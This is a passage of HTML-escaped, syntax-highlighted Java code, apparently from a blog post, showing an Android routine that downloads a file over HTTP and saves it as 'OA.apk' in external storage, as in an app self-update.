&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;public&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;void&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;run()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpClient&amp;nbsp;client&amp;nbsp;=&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;DefaultHttpClient();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;params[0]代表连接的url&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpGet&amp;nbsp;get&amp;nbsp;=&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;HttpGet(url);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpResponse&amp;nbsp;response;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;try&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response&amp;nbsp;=&amp;nbsp;client.execute(get);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpEntity&amp;nbsp;entity&amp;nbsp;=&amp;nbsp;response.getEntity();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;long&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;length&amp;nbsp;=&amp;nbsp;entity.getContentLength();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InputStream&amp;nbsp;is&amp;nbsp;=&amp;nbsp;entity.getContent();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileOutputStream&amp;nbsp;fileOutputStream&amp;nbsp;=&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;null&lt;/span&gt;&lt;span style="COLOR: black"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;if&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;(is&amp;nbsp;!=&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;null&lt;/span&gt;&lt;span style="COLOR: black"&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;File&amp;nbsp;file&amp;nbsp;=&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;File(Environment&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.getExternalStorageDirectory(),&amp;nbsp;&lt;span style="COLOR: blue"&gt;"OA.apk"&lt;/span&gt;&lt;span style="COLOR: black"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fileOutputStream&amp;nbsp;=&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;FileOutputStream(file);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;byte&lt;/span&gt;&lt;span style="COLOR: black"&gt;[]&amp;nbsp;buf&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;byte&lt;/span&gt;&lt;span style="COLOR: black"&gt;[&lt;/span&gt;&lt;span style="COLOR: #c00000"&gt;1024&lt;/span&gt;&lt;span style="COLOR: black"&gt;];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;int&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;ch&amp;nbsp;=&amp;nbsp;-&lt;/span&gt;&lt;span style="COLOR: #c00000"&gt;1&lt;/span&gt;&lt;span style="COLOR: black"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;int&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;count&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #c00000"&gt;0&lt;/span&gt;&lt;span style="COLOR: black"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;while&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;((ch&amp;nbsp;=&amp;nbsp;is.read(buf))&amp;nbsp;!=&amp;nbsp;-&lt;/span&gt;&lt;span style="COLOR: #c00000"&gt;1&lt;/span&gt;&lt;span style="COLOR: black"&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;baos.write(buf,&amp;nbsp;0,&amp;nbsp;ch);&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fileOutputStream.write(buf,&amp;nbsp;&lt;span style="COLOR: #c00000"&gt;0&lt;/span&gt;&lt;span style="COLOR: black"&gt;,&amp;nbsp;ch);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;count&amp;nbsp;+=&amp;nbsp;ch;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;if&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;(length&amp;nbsp;&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #c00000"&gt;0&lt;/span&gt;&lt;span style="COLOR: black"&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
